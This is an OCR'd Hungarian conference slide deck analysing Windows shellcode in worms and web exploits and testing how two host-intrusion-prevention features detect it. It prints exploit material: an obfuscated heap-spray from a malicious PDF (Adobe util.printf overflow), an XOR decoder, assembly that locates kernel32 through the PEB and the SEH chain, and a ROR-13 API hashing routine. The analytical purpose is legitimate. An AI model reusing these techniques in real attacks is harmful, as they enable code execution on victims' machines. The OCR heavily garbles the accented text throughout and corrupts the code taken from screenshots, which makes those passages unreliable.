WINDOWS SHELLKODOK
KARTEKONY
ALKALMAZASOKBAN



Felelevenités

Intel x32 alapvetd ismeretek
dltaldnos informdacié
cimzési médok
utasitdsok

mellékhatdsok



Altaldnos informdcio

Gépi kod — Assembly megfeleltetés

Utasitdsok feldolgozdsa alapvetden szekvencidlis
(ugré utasitdasokkal, szubrutin hivdsokkal, return
utasitdssal etc. Megvdltoztathaté a végrehaijtdsi
sorrend)

Alapvetd tdroldk: kozponti memodria és regiszterek

Regiszterek:
Altaldnos célu regiszterek (EAX, EBX, ECX, EDX)
Index regiszterek (ESI, EDI, EBP, ESP, EIP)
Szegmens regiszterek (CS, DS, ES, SS, FS, GS)
JAllapot regiszter” (OF, DF, IF, TF, SF, CF, ZF, AF, PF)



Cimzési mdédok

push ebp ; veremmivelet, 1 operandusy
mov ebp, esp ; valtozdé érték kezelés

sub esp, 0200h ; konstans érték kezelés

call esi vs. call [esi] ; utobbi indirekt cimzés

mov eax, dword ptr fs:[30h] ; direkt cimzés
mov eax, dword ptr [eax+0ch] ; indexelt cimzés
mov esi, dword ptr [eax+1ch] ; indexelt cimzés
lodsd ; hincs operandus

mov ebp, dword ptr [eax+8] ; indexelt cimzés



Utasitdsok

Adatmozgatd utasitdsok: két tdarold kozotti
adatmozgatdst végeznek (regiszter-regiszter, regiszter-
memoria, veremmiveletek; mov, leq, lodsd, push, pop
etc.)

Aritmetikai miveletek: inkrementdlds, dekrementdlds,
osszeadds, kivonds, szorzds, osztds (inc, dec, add, sub,
mul, div etc.)

BitmUveletek: logikai miveletek (not, neg, and, or, xor),
|éptetd és forgatd mlveletek (shl, shr, rol, ror etc.)

Vezérld utasitdsok: ugré utasitdsok (feltétel nélkili: jmp
és feltételes: jz, jnz etc.), szubrutin hivds, (call)
ciklusszervez6 utasitds (loop etc.)

Egyéb utasitdsok: cmp, int, hlt etc.



Mellékhatdsok

Az egyes miveletek végrehajtdsuk sordn kiegészitd
tevékenységet is végeznek: dllapotbitek bedllitdsa és
torlése, reqgiszterek értékének vdaltoztatdsa, meméria
tartalmdnak médositdsa.
Példdk:
cmp dword ptr [ebx], 00905A4Dh ; zero flag (ZF) értékét
1-re dllitja egyezbség esetén, nulldra kilonb6zéségnél
push edx ; ESP regiszter értékét 4-gyel csokkenti
pop edx ; ESP regiszter értékét 4-gyel noveli
call ‘subroutine’ ; a verembe menti a call-t kovetd utasitds
memdriacimét



- Alapfogalmak

Windows shellkédok kdrtékony alkalmazdsokban

Milyen Windows verzidkkal foglalkozunk?
Mit értink shellkéd alatt?

Mely kartékony kédok tartalmaznak
shellkédot?



Windows

Alapvetéen 32 bites Windows XP, semmiképp sem
16 vagy 64 bites Windows verzidk

Intel x32 architektdra, 80386-o0s utasitdskészlet

Vista, Windows 2008, Windows 7 esetében
lehetnek eltérések



Shellkod

Bizonyos tipusu sérilékenységek lehetdéveé teszik
tetsz6leges programkéd injektdalasat az dldozat
rendszerébe: buffer overflow, format string etc.

Ezt a kédot — az egyik legnépszeribb felhasznaldsi
célja utdn elnevezve — hivjdk shellkédnak.

A shellkéd célja sokféle lehet: tavoli hozzdférés
biztositdsa parancssori kapcsolaton keresztil, Uj
felhaszndlé létrehozdsa az dldozat gépén,
kartékony kéd letoltése a megtdmadott rendszerbe
stb.



Kdrtékony alkalmazds

Olyan programkéd, amely a felhaszndlé
szdndékaival NEM egyezd funkcidt valdsit meg.

Shellkéd kapcsdn két kartékony alkalmazas tipussal
foglalkozunk:

webes exploit: kliensoldali sérilékenységet kihaszndlg,
weboldalon, bongészéssel hozzdférhets kéd,

féreg (worm): szadmitégépes hdalézaton, sajat kédjdnak
reprodukdldasdaval terjed6 program.



- Shellkéd tdrold helyek

Mi tartalmazhat shellkédot?

Shellkédok a hdlézati forgalomban
Shellkédok adatfdjlokban



Shellkéd halézati forgalomban

Sérilékenységet tavolrdl kihaszndalé féreg dltal
bekildott csomag tartalmazza a shellkédot
Példdk:
UDP férgek (egyetlen csomag bekildésével hajtédik
végre a tdmadds — Slammer worm, Witty worm)

TCP férgek (tobb csomag, akdr tobb koros
kommunikdcid, melynek végén érkeznek a shellkédot is

hordozé csomagok)



Shellkéd adatfdjlokban

Fdjl feldolgozdé programokban (file parsers) 1évg,
puffer tilcsorduldsos sérilékenységet kihaszndlé
dllomdnyok. 2004 6ta szdmos sérilékenységet taldaltak

a Windows operdcids rendszerben (pl. GDIplus.dll, ANI
overflow)

Office alkalmazdsokban (Word, Excel, PowerPoint)

antivirus programokban (a szponzorok kedvéért
fehérrel gépelve: etc.)

forensics alkalmazdsokban (bdr ezen a terileten Unix
az Or)

egyéb alkalmazdsokban (pl. Acrobat Reader, WinZip)



- Shellkéd begyiijtése

Hogyan szerezziink shellkédot?

Shellkéd kinyerése halézati forgalombl

Shellkédot tartalmazé adatfdjlok
megszerzése



Shellkéd haldézati forgalombdl

A hadlézati forgalom figyelésére és tdaroldsdra
legkézenfekvébb eszk6z egy sniffer

Slammer csomagot naponta tobbet is el lehet fogni

Witty mdr nincs az Interneten

TCP férgek befogdsdra nem elégséges a sniffer.
Megfeleléen programozott honeypot haszndlatdval a
TCP férgek is begyUjthetéek.
A lényeg a sérilékenység kihaszndldsdig megteendéd
kommunikdcié megvalédsitdsa. Ez torténhet honeypot-tal

vagy dldozatként felkindlt — patcheletlen — szdmitégép
halézatra kotésével.



Honeypot haszndlata

Linuxra tébb ingyenesen hozzdaférhetdé honeypot
megoldds létezik, Windows verziéra vaddszni kell

A Multipot

( )
alkalmazast Visual Basic-ben fejlesztették és
alkalmas — kevesek k6zott — a TCP 445-6s porton
tadmadd férgek (nem mindegyik) tevékenységének
felderitésére

Forraskédban hozzdaférhetod, akinek van kedve
alakithatja


http://labs.idefense.com/software/malcode.php

Multipot
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Az elszalasztott zsdkmdny
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Shellkéd hordozé adatdllomdany
beszerzése

Webes exploitok gyakran tartalmaznak
adatdllomdanyban elhelyezett shellkédokat

Ezek kereséséhez érdemes

olvasni kilonb6z6 szakérték blogjait (itt gyakran
taldlhatéak cimek vagy a tovdbbi keresést segitd
informdcidk)

malware kiszolgdldk cimeit tartalmazé adatbdzisokat
bongészni (ebbdl is |6 keresési kulcsszavakat kaphatunk)

megfeleld kulcsszavakkal ellatni a Google-t (vagy exploit
oldalakat, vagy az exploitot taglald, tovdbbi
informdcidkkal szolgdlé oldalakat taldlhatunk igy)



Shellkéd kinyerése fajlbal

Bindris adatfdijl esetén, némi gépi kéd
tapasztalattal a hexadecimdlis értékekbdl
felismerheté a shellkéd jellegzetes része (példaul
decryptor rutin, megel6zé NOP sled)

Van amikor nincs sziikség erre a felismeré
képességre, mert a shellkédot tartalmazoé rész jol
elhatdrolédik a tobbi résztél (példdaul PDF
dllomdnyban)

Nemcsak adatfdjlokban taldlhaté shellkéd, gyakran
JavaScript, mdaskor akar Java class fdjl része a kod.
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Adobe util.printf és collectEmailinfo

overflow 2009-bol

¥l EditPad Pro - [C:\Common\curl-7.15.4\pdf _util\litetopdetect_pdf.txt]

File Edit Project Search Blodk Mark Fold Tools Macros Extra Convert Options  View Help
Or[e [l viel e K~ L4 > hol - led - o & Qa8 2TV
] litetopdetect_pdf.txt

2 0 obj Py
Lt

/5 fJavaScript

I8

function Zh852hw' (PgotgxTly){ return unescape' (Pgotg=x7l\):} —
function Mub5l34o3a’ (Qlz09%ph) { return ewval’ (Qlz09p\):}

Mub5134o03al (functionh (p, 2, c, k,e,d\) {e=functionh (c\) {recurnh (c<a?" e’ (parselnth (cfa\ )\ W)+
YW\ (c=c%a\)»357?5tring. fromCharCode (c+23\) :c.toString® (36%) %) }rwhilel (c——

W {ifN (k[cl\) {p=p.replace’ (new RegExph ('\A\AWAb'+eh (el +"\Vviab!', "o kel Fireturn

P2 (2o ("EAEMERENEME A EEEU "+ P E L r e EE EME 2 EWENEA "+ " ICEEE0E S EAENE I EaEm" + " EyEIE3E L0203

12 e+ I i e st T E 0L e+ " PR s O WEvEREOEL "+ "E L EHERECE 11 $ 95"+ "FE05ATATgE0EEE 126"
+MInEHE I EmE=EkE05C 30T+ ETEOE 1238 3HE A tmE s+ AIVEOEY EOEsEATNE2 26"+ " 1d3imEJ3riet kil imEw "+ T2 0%
12%83HE 1 tmE =i+ HE 0 EvEZ 5030305 e" + "2 pEvEEOEnELEHELEO "+ " ECcE0EWEVEXEOEnEE I+ I cERESEIM v |

1=1 | | Imsert | 16654 @ C:\Commoncurl-7. 15, 4'pdf_utillitetopdetect_pdf. txt




Olvashatébb PDF JavaScript

# EditPad Pro - [C:\Common\curl-7.15.4\pdf _util\pdf1_1.txt] M=E3

File Edit Project Search Block Mark Fold Tools Macros Extra Conwvert Options  View Help
(-l I ~hwibg B~lh~ pl-led- a4 OO Q0803 2T @ -~

Mi133&v2are™ 4+ "Ev3331lEeve™ 4+ "LE33Evired4™ 4+ "gveebrigve" 4+ "esegsvefeoe™ 4+ "EviZbaiv:" + L
"3 favaalf™ + "Ev3l4TEsvi™ + "gfaives 0" + "EvTTElEvT™ 4+ "eTgevl1ETE"™ 4+ "EvT TTEVI™ + )
3T EVElEE™ + "EvTTT7E&v4™ 4+ "4Legwit5f" + "EvE2Sesve™ + "T5TEvT55e™ 4+ "svwStSiEsvT" +
"256&v4333" + "EVISSTEVE" + "346&v1EST" + "Ev4rS0&evIT + "356&v4l150" + "av4032&viT +
"fLrEVS;43" + "EV3IZ43Ev4T + "T5;Ev434T" + "avlelbavwi" + "21le&v4T46" + "avSlSesve" +
"O0SEEVE44T" + "Ev4056&vIET + "64Ta&v5f41"™ + "EvSO0lfavl™ + "eSfavieS " + "EwSTSZEv4" +
"31fEv435;" + "gvh:0egv0"™ + "gS5TEV3I3O0;" 4+ "Evw:333T o4+ "M
if (HOynfyy.charft (0) == "g8" L& HOynfyyv.charht(l) <= "1" & HOynfyv.chaxrht(2) <= "2"){

Natpvgfv = C3fjd9% (Dumt3ven (Orrm5k34) )

wvar ISk2z09% = C3fjd9%w ("Tudada™ + "Iulala™ + "");

wvar Ezhplhsy = 20 + HNatpvgfv.length;

while (ISk2z09.length < Ezhplhsy) ISkZ2z09 += ISkZ2z09;

wvar XTmwtgl = ISkZ2z09.substring (0, Ezhplhsvy):; =

var PclObjg = I5kZz09.=substring (0, ISk2z09.length - Ezhplhs=svy);

while (PcObjg.length + Ezhplhsy < 0x60000) PcObjg = PoclObjg 4+ Pelblg + XTmwtgl:

var Mlciak = new Arrav(): b

for(QcpxrSpd = 0 QeprSpd < 1200; QeprSpl++4) (Mlciak[QeprSp0] = Polbijg + Matpwgfvl

var Abngm230 = "12%;

for (var Vuvzpshn=0; Vuvzpshm<lEZ; Vuvzpshm++){ AbngmZ30 = Abngm2304+"9":}

for (var Vuvzpshn=0; Vuvzpshm<Z276; Vuvzpshm++) { AbngmZ30 = Abngm230+"8": 1}

util.printf ("$45000f", Abngm230);} |

1z 1 | | Imsert | 5125




- Shellkoéd elemezhetoveé tétele

Milyen eszkoézokkel kaphatunk Assembly kédot?
JavaScript obfuscation legy6zése
Hexadecimdlis inputbdl bindris fdijl

Disassembler haszndlata



JavaScript obfuscation kezelése

Erre a célra a Rhino-t

(

), a Mozilla

JavaScript debugger programjdt haszndlom

A CLASSPATH
Rhino js.jar 4l

Parancssorbd

kornyezeti vdltozéban megadom a
omdnydnak elérési Otvonalat

a vizsgdlandé JavaScript dllomdany

konyvtdrdba valtok

Kiadom a kovetkezd parancsot:

java org.mozilla.javascript.tools.debugger.Main

»vizsgdlandé fajl neve”


https://developer.mozilla.org/en/Rhino

Rhino haszndlat kozben
N

! dva e £ [ 1

File Edit Debug Window

Break Go Step Into Step Owver Step Out

he2.txt
o this.wtlEYUves= "TmlxYves ' 2

10 function wiosUeb3g() {}

11 this.igOdfUZEl="ig0dfUZE1";

12 thiz.rbjr28El=falze;

13 function we3lzgld()!}

14 function r3p383PTw(ripd93PTw) {return rSp393PTw; )
15 str = uniarr.join("");

166y this, vTHIL¥LI=false;

17  war wnngbofhxzZ=2397;

18 war nisJO0¥vVId="mi6JO¥VIA4": il

[«L01] |

T O T o T o A T o o A o o o e ST
Context: |“he2.t=t", line 16 Expression Yalue
Mame Walue
o= Spawen function spawnd { [
o= Stoplteration [ohject Stoplteration]
str ar hkDYzhRELg = ...
P i a Froemetioes Cteimen™ L Tn

this | Locals 17| watch | Evaluate

hread: Thread[main,5,main]




Shellkéd bindris fajlba toltése

Ha a shellkéd eleve bindris dllomanyban taldlhaté (pl. ANI
fdjl) elég egy hexaeditorral (pl. Hex Editor Neo) kivagni a
felesleges részeket

Egy JavaScript kéd tipikusan %u10EB%u4B5B...
formatumban tdrolja a shellkédot. A helyes byte sorrend: EB
10 5B 4B...

Elsé |épésben eltintetem (replace) a %u-kat: TOEB4B5B
Mdsodik Iépésben lefuttatom a kévetkezd feldolgozot

eripen: s w)\wW)\w)(\w X « S
bt hnsa s TN EISAS1 8279

Kiegészitem a szikséges idéz6jelekkel és pontokkal
(sortorésnél) az igy kapott stringet

Végezetil egy egyszerl Perl scripttel kiirom az eredményt
egy bindris fajlba



Bindris faijlt ird Perl script

#!/usr /bin/perl -w

$shellcode=, \xEB\x10\x5B\x4B...”;
open(FILE, ">shellcode.bin");

binmode FILE;

print FILE "$shellcode";

close(FILE);



Disassembler haszndalata

Most mdar adott egy bindris fdjl, amely teljes
egészében egy shellkédot tartalmaz

A gépi kéd Assembly-re torténd atforditdsdra van
szikség

Ehhez az ndisasm programot haszndlom
( )
Parancssorbdl futtatandé:

ndisasm -b 32 ,;shellkéd fdjl neve” > ,,eredmény fdijl
neve”


http://www.asmcommunity.net/projects/nasmx/

- Win shellkéd altaldnos ismeretek

Windows shellkéd felépitésével kapcsolatos
tudnivalok

A shellkéd funkcidja
A titkositds jelentésége
Rendszerfiggvények elérése

Shellkéd szerkezete



Shellkéd funkcidja

Amig egy shellkéd egy tdmadd kezében szdmos
kiilonb6z6 funkcié valamelyikét biztositja, addig a
kartékony kédok csak a lehetéségek szik palettdjdt
hasznaljak ki

A férgek terjedésik biztositdsat varjak el a shellkédtél.
Gyakori, hogy letéltenek egy kdartékony kédot
(tipikusan botot) és végrehaijtjdk a megtdmadott
rendszeren. Elészeretettel haszndljdk a Windows ftp
kliensét a letoltéshez.

A webes exploitok tovdbbi kdrtékony kéd letoltését és
végrehaijtdsat végzik a shellkéddal. A letoltés
weboldalrdl torténik, http kapcsolatot épitenek ki.



Titkositds a shellkodban

Szolgdlhatna éppen a biztonsdgi programok eldli
rejtozést...

Elsédleges célja a nem kivdant karakterek kiszlrése
(pl. ne legyen null kédi karakter a shellkédban
stringkezelési tilcsordulds esetén)

Rendszerint az MS DOS virusokndl mar hasznalt
egy byte-os XOR titkositdst hasznaljdk



Rendszerfiggvények elérése |

Linux alatt rendszerhivdssal (system call; int 80h)
végrehajtédik a kivant kod.

Windows alatt library-k biztositjdk a rendszer
szolgdltatdsok igénybe vételéhez szikséges
figgvényeket. A shellkédban szikség van ezek
cimére, és a cimek operdcids rendszer verzidnként
kilonbozéek lehetnek. A hivhaté figgvényeket .dll
dllomdnyokban implementdaljdk, bizonyos .dll-ek o
process teriletére betoltésre kerilnek, mdasokat be
kell tolteni a haszndlathoz.



Rendszerfiggvények elérése I

A kernel32.dll minden process mellé betoltodik. Két
olyan figgvényt tartalmaz, amelyek
alkalmazdsdval elérheté az osszes tobbi:

LoadLibraryA — betdlt egy .dll-t a meméridba

GetProcAddress — megmondja egy
rendszerfiggvény cimét

A GetProcAddress haszndlatdval kiderithetd a
LoadLibraryA cime, igy csupdn a GetProcAddress
cimét kell kideriteni.

Ehhez kiinduldsként a kernel32.dll memoériacimére
van szikség.



Shellkod szerkezete

Altalaban a kdvetkez8 funkciondlis elemekbdl épiil
fel egy kartékony kédban lévé Windows shellkéod:

kititkositd rész (ha szikséges)
rendszerfiggvények cimének megdllapitdsa

rendszerfiggvények meghivdsa a kivdant
paraméterezéssel és sorrendben (letdltés, végrehaijtds)

a process termindldsa

A tovdbbiakban ezeket részletezem



- Kititkosito rutinok



Tipikus dekddold rutin

EB 10

5A

4A

33 C9

66 B9 7D O1
80 34 OA 99
E2 FA

EB 05

E8 EB FF FF FF

imp Y;

pop edx;

dec edx;

XOr ecx, ecx;

mov cx, 017Dh;

xor byte ptr [edx+ecx], 99h;
loop X;

imp Z;

call W;



Kititkositds elemzéshez

Statikus elemzés esetén vagy késziteni kell egy kis
alkalmazast, amely megnyitja a fdjlt és a
megfeleld byte-tél kezdve dekddolja azt (ez a
praktikus megolddas),

vagy keresink az Interneten egy oldalt, amely
hajlandé logikai miveleteket végrehaijtani
hexadecimdlis értékkel dbrdazolt byte-okon

( )


http://darkfader.net/toolbox/convert/

- Rendszerfiggvények lokalizdldsa

A szikséges figgvénycimek meghatdrozdsa
Beégetett cimek
Kernel32.dll helyének keresése
Portable Executable struktira felderitése
GetProcAddress cimének kideritése

Stringkeresés vs. hashelés



Beégetett cimek

Egy Windows shellkéd a problémdas figgvény
cimkeresés miatt ardnylag nagy méreti lehet, ezért
bizonyos esetekben beégetett cimekkel dolgoznak
kartékony kédok

Példa: UDP férgek, amelyek egyetlen UDP
csomagban helyezik el a tulcsorduldast okozé
adathalmazt és a shellkédot

A mddszer hdtrdnya, hogy érzékeny az operdciods
rendszer verzidjdra



Kernel32.dll lokalizdldsa

Legaldbb 3 médszer ismeretes a kernel32.dll
helyének megtaldaldsdhoz:

Régi, elavult: egy fix memdriacimrél elindulva a 4D 5A
Q@0 00 szekvencia keresése (igy kezdddik a
kernel32.dll dllomdny)

Ritka, de figyelemre mélté: SEH (Structured Exception
Handler) lanc felderitése

Gyakori, szinte mindig visszakészon: PEB struktira
dttekintése



SEH ldnc felderitése

xor ebx, ebx ; ebx =0
mov eax, fs:[ebx] ; fs:[0] = mutatdé a SEH ldncra
inc eax

X: xchg eax, ebx

mov eax, [ebx-1] ; eax = kovetkezé elemre mutatd pointer

inc eax ; ha eax = FF FF FF FF, akkor nincs tobb elem
jnz X ; ha van még elem, menjink tovdbb a ldncon
mov edx, [ebx+3] ; a ldnc végén a default handler van

xor dx, dx ; ez a handler a kernel32.dll-ben taldlhaté
mov ax, 0100h ; €s 4 KB-os memériahatdron kezdédik a dll
Y: cmp word ptr [edx], 5A4Dh ; ez mdr az eleje (MZ)?

iz ,e kéd végére” ; ha igen, edx tartalmazza a keresett cimet
sub edx, eax ; kilonben 4 KB-tal Iépjink vissza

imp Y ; Ujabb osszehasonlitdsra ugrds



PEB-es (Win9x mentes) megkozelités

mov eax, fs:[30h] ; mutaté a PEB-re
mov eax, [eax+0Ch]; mutaté a PEB_LDR_DATA strukturdra

mov esi, [eax+1Ch] ; mutatd InitOrderModulelist elsé
elemére (ntdll.dll listaelem)

lodsd ; lista kovetkez6 eleme (kernel32.dll
listaelem) cimének beolvasdsa eax-be

mov ebp, [eax+8] ; kernel32.dll cimének beolvasdsa



Portable Executable (PE) struktira

A kernel32.dll dllomdany fejlécébdl kiindulva a
kovetkezo hasznos mezdok fedezhetsek fel:

3ch: mutatd a PE fejléc kezdetére

PE fejléc[78h]: export tdbla relativ cime

Export tdbla
Export tabla
Export tdbla
Export tdbla
Export tdbla

'14h]:
'18h]:
1Ch]:
20h]:

24h]:

exportdlt figgvények szdma
nevesitett figgvények szdma
figgvény cimtdbla relativ cime
névtabla relativ cime

sorszdam tabla relativ cime



GetProcAddress cimének kinyerése

Keresést kell végezni a névtdbldn GetProcAddress-
re

A taldlat pozicidja alapjdn a sorszam tdblabdl
kiolvashatd, hogy a figgvény cimtdbla hanyadik
bejegyzése tartalmazza a GetProcAddress cimét
A figgvény cimtdbla megfeleld pozicidjdn
kiolvashaté GetProcAddress relativ cime
Kernel32.dll kezdécimét a relativ cimhez

hozzdadva megkaphaté GetProcAddress abszolut
cime



A névkeresés fortélyai

Sok kdrtékony kédban byte-onkénti 6sszehasonlitds
térténik a GetProcAddress és a névtdbla elemei kozott

Elegdnsabb és rejtézkodébb megoldds a hashelés,
kiilonésen akkor, ha mds figgvények cimének
meghatdrozdsa (is) a GetProcAddress mintdjdra
torténik
Ebben az esetben a kédban nem a figgvény neve, hanem
egy 4 byte-os hash érték tdrolédik

A hash algoritmus végigfut a névtdbla elemein és a hash-ek
egyezése jelent taldlatot

Hash algoritmusként dltaldban a jobbra rotdlds (ror)
miveletét alkalmazzdk, a magic number pedig régebben a
13 volt, mostandban a 7 gyakori



Hashgenerdlds azonositdshoz

Ha egy kédban hash-eket tarolnak és azt
szeretnénk tudni, hogy mely figgvényeket jelolnek,
készitenunk kell egy kis alkalmazdst

Ki kell gyUjteni egy-egy .dll fdjl exportdlt figgvényeit
(erre a PEDUMP alkalmazdst haszndlom)

Késziteni kell egy batch fdjlt, amelynek egy-egy sora a
kovetkez6 formdatumu:

GetHash ,,figgvény neve”

El kell késziteni a GetHash.exe programot, amely kiirja
a paraméterként beadott név hash értékét



GetHash figgvény

static unsigned int __stdcall GetHash ( char *c)

{
unsigned int h = 0;
while ( *c) {
__asmrorh, 13
h += *c++;
}

return( h );

}



- Letoltés és végrehajtds

Milyen letoltési médszerek ismertek?

Milyen végrehaijté figgvények vannak?



Férgek és az FTP

A Windows sajdat FTP kliensét hasznaljdk

Van olyan féreg, amely egy szerverrdl tolti le a
kdartékony kédot

Mas férgek a fert6z6 kliensrdl toltik le a nem kivant
programot

WinExec hivdssal hajtja végre a letoltést és a
végrehaijtdst a ferté6zott kliens vagy éppen

egy parancssort ,,bind”-ol az dldozat gépén és annak
adja ki a letoltéshez és végrehajtdshoz szikséges
parancsokat a ferté6zé gép



Webes exploit és HTTP

Letoltés

Winlnet.dll

InternetOpenA
InternetOpenUrlA

InternetReadFile

Urimon.dll
URLDownloadToFileA

Végrehaijtds
WinExec
CreateProcessA

CreateProcessinternal A



- Biztonsdgi technikdk

Egy HIPS termék két védelmi megolddsdnak
rovid ismertetése

Buffer Overflow Exploit Prevention (BOEP)
Shellcode Heuristics (SCH)



Buffer Overflow Exploit Prevention

Nem a puffer tilcsorduldst akaddlyozza meg, hanem a
shellkéd végrehaijtdsdt prébdlja gdatolni

A vizsgdadlt termék hivatalos dokumentdcidja alapjdn: ,,a
stack és a heap teriletek figyelésével dllapitja meg az
agent, hogy sikeres puffer tulcsorduldst hajtottak végre
és megakaddlyozza a kdrtékony kéd futdsat”

A letolt&végrehait tipusu shellkédok fdjl és process
|étrehozdssal dolgoznak, igy ha a BOEP modul rdaépil
az ezekhez szikséges figgvényekre tovdbbd minden
egyes hivdskor ellendrizni tudja, hogy annak Ssforrdsa
adatterilet-e (stack, heap), akkor blokkolhatja a
figgvényhivast és/vagy terminélhatja a process-t



BOEP API hooks

& SanityCheck Home Edition v 1.02

Simple mode. |

Analyze.. About |

http:/fvwww.resplendence.com

Details. | Set GlobalFlag | Restore GlobalFlag |

Drivers | Devices | Processes | Threads | Object types

| DPCs ||F‘.nuﬁnes | Report |

‘]

Routine name | Address | SSOT Address | Module | Motes |T|
HalReadDmaCounter 0x806031A6 MA hal.dll 1
NtCreateProcess NA OxAFEEICOC s This routine has been hooked through the SSDT.
NtCreateFile 0xB056D44A OxAJEEZCOS e This routine has been hooked through the SSDT.
NtCreateProcessEx NA OxATEEIC1Z  imessps This routine has been hooked through the S5DT.
RHTimeToElapsedTimeFields 0x8050E230 MA ntkrnipa. exe

RtiTimeFieldsToTime 0xB052C062 MA ntkrnipa.exe

ISBtus: Ready




BOEP tesztelés médja

Els6 megkozelités: lehetséges-e a vizsgdlt
figgvényhivds ald bekerilni (pl. WinExec =2
CreateProcessA = CreateProcessinternalA =
ZwCreateProcessEx ldnc mely tagjdra Ul rd a
BOEP)?

Mdsodik megkozelités: mely memériateriletrdl fut a
shellkéd? Példa: stack overflow; lehetéségek:

stack
heap
return-to-libc



Tesztesetek: ANI overflow calc.exe
inditdssal

Aldozat: egy patcheletlen Windows XP SP2

Shellkéd hordozé: valds példdk alapjdn konstrudlt ANI
dllomdnyok

Sérilékenység: verem alapy tilcsordulds

Shellkéd memdédriabeli helye:

az alap ANI overflow esetében a shellkéd heap teriletrdl
fut (ezt nem detektdlta a BOEP!)

felhaszndltam egy return-to-libc exploitot is (ezt viszont
megakaddlyozta a BOEPI)

probdltam stackbdl futd shellkédos verziét létrehozni, de
nem sikerilt (taldan tdl kicsi a rendelkezésre allé stack
terilet)



Sikeres BOEP védekezés logja

File Edit Project Search Block Mark Fold Tools Macros Extra Convert Options View Help

Lz

(& [/~ G
EE] BOEF_Driver.log

g DL Q.8 8 3

BCOEFP (D) : DETECTED =stack execution RA:0013dedd A
BCEP (M) : EPRCCESS Partial name={IEXFLCRE.EXE 1
BCEP (M) : Time=2009-09-16 06:56:12.078
BOEP (M) : Exploit=Check PID: 3260 TID: 2964 RA: 0013ded4 CF: 00000258
BOEF(F): FPT[00:00] PID:3260 TID:2964 5F:0013dlbc FPF:0013dcOc NF:0013dcOc RF:7c80ebi4
BOEFP (F) : Stack@0013decOc: 0013dcfg8 7c8ldbs8f 00000000 023cB8e38
0013dclc: 0232e%:=8 00000000 00000000 00000001
BCEP(F): STB[01:00] PID:3260 TID:2964 5P:0013dlbc FP:0013dclc NF:0013dcOc RP:7c80d4775 ;
BOEP(F): STEB[02:00] PID:3260 TID:2%964 S5P:0013dlbc FP:0013dclOc NF:0013dcOc |RP:7cB8lE8fl6 ;|ntd11.ZwCreateProcessEx|hivés uténi
BOEF(F): FPT[03:00] PID:3260 TID:2964 S5PF:0013dlbc FP:0013dcOc NF:0013dcfg& RF:7cEldbEf
BOEP(F): Stack@0013dcOc: 0013dcfg8 TeB8ldb8f 00000000 023c8e38 ; kernel32.CreateProcessInternalW hivas utani sor
0013dele: 0232eS%e8 00000000 00000000 00000001
BCEP(F): FPT[04:00] PID:3260 TID:2964 5P:0013dlbc FP:0013dcf8 NF:0013dd30 RP:7c802393
BOEP(F) : S5tack@0013dcf8: 0013dd30 Tc8023%3 00000000 00032af8 ; kernel32.CreateProcessInternal® hivas utaéni sor
0013ddo8: 02110170 00000000 00000000 00000001
BOEF(F): FPT[05:00] PID:3260 TID:2964 S5F:0013dlbc FPF:0013dd30 NF:0013ddd4 RF:77c285ec
BOEFP(F): Stack@0013dd30: 0013ddd4 77c295ec 00032afg8 02110170 ; kernel32.CreateProcessh hivas utdni sor
0013dd40: 00000000 00000000 00000001 00000000
BCEP(F): FPT[06:00] PID:3260 TID:2964 5P:0013dlbc FP:0013ddd4 NF:0013ddf8 RP:77c2880f
BOEP(F): Stack@0013ddd4: 0013ddf8 77c28280f 00000000 00032af8 ; msvcrt.77c29470 hivés utdni sor
0013dde4: 02110170 00000000 00032b0b 00000000
BOEP(F): FPT[07:00] PID:3260 TID:2964 S5P:0013dlbc FP:0013ddfg8 NF:0013de24 RP:77c28807
BOEP(F): Stack@0013ddfs8: 0013de24 77c28907 00000000 00032a2f8 ; mavcrt.77c287d4 hivas utdni sor
0013de08: 0013de44 00000000 0013ded4 00000000
BCOEP(F): FPT[08:00] PID:3260 TID:2964 5P:0013dlbc FP:0013de24 NF:0013de54 RP:77c2341d
BOEP (F) : Stack@0013de24: 0013deS54 77c2941d 00000000 0003Zaf8 ; msvcrt. spawnve hivas utdni sor
0013de34: 0013ded44 00000000 0013dedd4 0013df04
BCOEP(F): FPT[09:00] PID:3260 TID:2964 S5P:0013dlkc FP:0013deb54 NF:0013deel EP:0013dedq ;|system figgvényre hivatkoza3| =
BOEP(F): Stack@0013deS54: 0013deel 0013ded4 0013df04 0013d4f88
0013de64: 0013d4df04 0013df88 90909090 9039090390
0013de74: S05050%0 50505050 50505080 50505050
0013de84: 90905080 90505050 80808080 905035080
0013de84: 90909090 90905050 0000006c 90909090
0013dea4d4: 90909090 90909090 90909090 90309090
0013deb4: 90909090 90909090 Tc8024d6 90909090
0013decd4: 90909090 0013de58 90909030 0000006c
0013ded4: 0909030 fELELfff 90903020 =
< 1L} ] 2
131 Insert 285284 | C:'\Documents and Settings\garap\Desktop\BOEP_Driver.log




Shellkdd heurisztika

Kifejezetten adatdllomdnyokban torténé shellkéd
felismerésre fejlesztették ki a névekvé szamu,
(fajl)feldolgozé sérilékenységen alapulé exploitok
elleni védelemkeént

A gydrté szerint: ,,az SCH processzor utasitdsok
kombindcidit keresi az adatfolyamban, melyek
kiilonbo6z6 bonyolultsdgu mintdkkd dallnak ossze™

Nem egyszerien a ,,20 90 ... 20” megtaldldsdardl van
sz6, de részletesebb leirds nem dall rendelkezésre

A teszteléshez elég egy shellkéd hordozé fdjlt egy
mdadsik konyvtdrba mdsolni



Shellkdd heurisztika tesztelése

Els6 megkozelités: nyilvdnos illetve ,,é16”
exploitokkal tesztelés (kilonb6zé fdjlformdatumok:
pl. html /JavaScript kéd/, ani, wmf stb.)

Mdsodik megkozelités: egy exploitbdl kiindulva,
kilonboz6 shellkédok beillesztése (érdemes példdaul
a calc.exe-s ANI overflow-bdl kiindulni, és abban
cserélgetni a shellkédot)



Tesztesetek

PoC-ok, él6 exploitok: ANI, WMF, JavaScript
letolt&végrehait shellkédjait mind detektdlta,
figgetlenil attél, hogy kédolatlan vagy kédolt

eloforduldsuak voltak

Ugyanakkor 0gy tinik, hogy PDF és Flash kédokat
nem vizsgdl (vagy csak nem detektdlta a shellkéd
jelenlétét = mélyebb elemzést igényel)

Sima calc.exe futtatds (nincs szikség letoltésre) sem
akadt fenn a rostdn



K6szénom a figyelmet!
N



